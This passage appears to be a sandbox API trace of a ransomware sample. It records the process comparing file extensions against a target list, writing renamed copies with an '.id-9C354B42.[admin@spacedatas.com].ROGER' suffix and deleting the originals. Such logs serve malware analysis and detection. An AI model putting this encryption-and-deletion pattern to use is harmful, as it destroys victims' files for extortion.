(lpString=".bz2") returned 4 [0051.459] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString=".7z") returned 3 [0051.459] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".dbf") returned 4 [0051.459] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.459] lstrlenW (lpString=".1cd") returned 4 [0051.459] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.460] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0051.460] lstrlenW (lpString=".jpg") returned 4 [0051.460] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.460] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.460] lstrlenW (lpString="Title_Page_Ref.wmv") returned 18 [0051.460] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.460] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=933322) returned 1 [0051.460] CloseHandle (hObject=0x388) returned 1 [0051.460] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0051.460] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.460] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.460] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.460] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.460] lstrlenW (lpString=".doc") returned 4 [0051.460] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.460] lstrlenW (lpString=".docx") returned 5 [0051.460] lstrcmpiW (lpString1=".docx", lpString2="f.wmv") returned -1 [0051.461] lstrlenW (lpString=".pdf") returned 4 [0051.461] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString=".xls") returned 4 [0051.461] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.461] lstrlenW (lpString=".xlsx") returned 5 [0051.461] lstrcmpiW (lpString1=".xlsx", lpString2="f.wmv") returned -1 [0051.461] lstrlenW (lpString=".ppt") returned 4 [0051.461] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString=".zip") returned 4 [0051.461] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.461] lstrlenW (lpString=".rar") returned 4 [0051.461] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString=".bz2") returned 4 [0051.461] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString=".7z") returned 3 [0051.461] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString=".dbf") returned 4 [0051.461] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString=".1cd") returned 4 [0051.461] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString=".jpg") returned 4 [0051.461] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.461] lstrlenW (lpString=".doc") returned 4 [0051.461] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.461] lstrlenW (lpString=".docx") returned 5 [0051.461] lstrcmpiW (lpString1=".docx", lpString2="f.wmv") returned -1 [0051.462] lstrlenW (lpString=".pdf") returned 4 [0051.462] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString=".xls") returned 4 [0051.462] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.462] lstrlenW (lpString=".xlsx") returned 5 [0051.462] lstrcmpiW (lpString1=".xlsx", lpString2="f.wmv") returned -1 [0051.462] lstrlenW (lpString=".ppt") returned 4 [0051.462] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.462] lstrlenW (lpString=".zip") returned 4 [0051.462] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.462] lstrlenW (lpString=".rar") returned 4 [0051.462] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString=".bz2") returned 4 [0051.462] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString=".7z") returned 3 [0051.462] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.462] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.462] lstrlenW (lpString=".dbf") returned 4 [0051.462] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.462] lstrlenW (lpString=".1cd") returned 4 [0051.462] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0051.462] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned 67 [0051.462] lstrlenW (lpString=".jpg") returned 4 [0051.462] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.462] lstrcmpiW (lpString1=".wmv", lpString2=".ROGER") returned 1 [0051.462] lstrlenW (lpString="Title_Page_Ref_PAL.wmv") returned 22 [0051.462] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.463] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=989322) returned 1 [0051.463] CloseHandle (hObject=0x388) returned 1 [0051.463] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0051.463] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.464] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.464] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned 71 [0051.464] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned 71 [0051.464] lstrlenW (lpString=".doc") returned 4 [0051.464] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0051.464] lstrlenW (lpString=".docx") returned 5 [0051.464] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0051.464] lstrlenW (lpString=".pdf") returned 4 [0051.464] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0051.464] lstrlenW (lpString=".xls") returned 4 [0051.464] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0051.464] lstrlenW (lpString=".xlsx") returned 5 [0051.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0051.464] lstrlenW (lpString=".ppt") returned 4 [0051.464] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0051.464] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned 71 [0051.464] lstrlenW (lpString=".zip") returned 4 [0051.464] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0051.464] lstrlenW (lpString=".rar") returned 4 [0051.464] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0051.464] lstrlenW (lpString=".bz2") returned 4 [0051.464] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0051.464] lstrlenW (lpString=".7z") returned 3 [0051.464] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0051.464] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned 71 [0051.464] lstrlenW (lpString=".dbf") returned 4 [0051.464] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0054.138] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.139] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0054.139] GetLastError () returned 0x0 [0054.139] ReadFile (in: hFile=0x3d4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x4932, lpOverlapped=0x0) returned 1 [0054.157] WriteFile (in: hFile=0x3e8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0054.158] ReadFile (in: hFile=0x3d4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.158] WriteFile (in: hFile=0x3e8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.159] SetEndOfFile (hFile=0x3e8) returned 1 [0054.159] CloseHandle (hObject=0x3e8) returned 1 [0054.159] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.159] SetEndOfFile (hFile=0x3d4) returned 1 [0054.160] CloseHandle (hObject=0x3d4) returned 1 [0054.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0054.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.160] lstrlenW (lpString=".doc") returned 4 [0054.160] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.160] lstrlenW (lpString=".docx") returned 5 [0054.160] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.161] lstrlenW (lpString=".pdf") returned 4 [0054.161] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString=".xls") returned 4 [0054.161] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString=".xlsx") returned 5 [0054.161] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.161] lstrlenW (lpString=".ppt") returned 4 [0054.161] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString=".zip") returned 4 [0054.161] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.161] lstrlenW (lpString=".rar") returned 4 [0054.161] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString=".bz2") returned 4 [0054.161] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString=".7z") returned 3 [0054.161] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString=".dbf") returned 4 [0054.161] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString=".1cd") returned 4 [0054.161] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString=".jpg") returned 4 [0054.161] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.161] lstrlenW (lpString=".doc") returned 4 [0054.161] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.161] lstrlenW (lpString=".docx") returned 5 [0054.161] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.162] lstrlenW (lpString=".pdf") returned 4 [0054.162] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString=".xls") returned 4 [0054.162] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString=".xlsx") returned 5 [0054.162] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.162] lstrlenW (lpString=".ppt") returned 4 [0054.162] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.162] lstrlenW (lpString=".zip") returned 4 [0054.162] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.162] lstrlenW (lpString=".rar") returned 4 [0054.162] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString=".bz2") returned 4 [0054.162] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString=".7z") returned 3 [0054.162] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.162] lstrlenW (lpString=".dbf") returned 4 [0054.162] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.162] lstrlenW (lpString=".1cd") returned 4 [0054.162] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0054.162] lstrlenW (lpString=".jpg") returned 4 [0054.162] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.162] lstrcmpiW (lpString1=".xsl", lpString2=".ROGER") returned 1 [0054.162] lstrlenW (lpString="Sybase.xsl") returned 10 [0054.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.172] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=29790) returned 1 [0054.172] CloseHandle (hObject=0x358) returned 1 [0054.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0054.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0054.180] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.180] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0054.187] GetLastError () returned 0x0 [0054.187] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x745e, lpOverlapped=0x0) returned 1 [0054.189] WriteFile (in: hFile=0x33c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0054.190] ReadFile (in: hFile=0x358, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.190] WriteFile (in: hFile=0x33c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0054.190] SetEndOfFile (hFile=0x33c) returned 1 [0054.191] CloseHandle (hObject=0x33c) returned 1 [0054.191] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.191] SetEndOfFile (hFile=0x358) returned 1 [0054.192] CloseHandle (hObject=0x358) returned 1 [0054.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0054.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.192] lstrlenW (lpString=".doc") returned 4 [0054.192] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.192] lstrlenW (lpString=".docx") returned 5 [0054.192] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0054.192] lstrlenW (lpString=".pdf") returned 4 [0054.192] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.192] lstrlenW (lpString=".xls") returned 4 [0054.192] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.192] lstrlenW (lpString=".xlsx") returned 5 [0054.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0054.192] lstrlenW (lpString=".ppt") returned 4 [0054.192] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.192] lstrlenW (lpString=".zip") returned 4 [0054.192] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.192] lstrlenW (lpString=".rar") returned 4 [0054.193] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString=".bz2") returned 4 [0054.193] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString=".7z") returned 3 [0054.193] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString=".dbf") returned 4 [0054.193] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString=".1cd") returned 4 [0054.193] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString=".jpg") returned 4 [0054.193] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString=".doc") returned 4 [0054.193] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString=".docx") returned 5 [0054.193] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0054.193] lstrlenW (lpString=".pdf") returned 4 [0054.193] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString=".xls") returned 4 [0054.193] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString=".xlsx") returned 5 [0054.193] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0054.193] lstrlenW (lpString=".ppt") returned 4 [0054.193] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.193] lstrlenW (lpString=".zip") returned 4 [0054.193] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.193] lstrlenW (lpString=".rar") returned 4 [0054.194] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.194] lstrlenW (lpString=".bz2") returned 4 [0054.194] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.194] lstrlenW (lpString=".7z") returned 3 [0054.194] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.194] lstrlenW (lpString=".dbf") returned 4 [0054.194] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.194] lstrlenW (lpString=".1cd") returned 4 [0054.194] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.194] 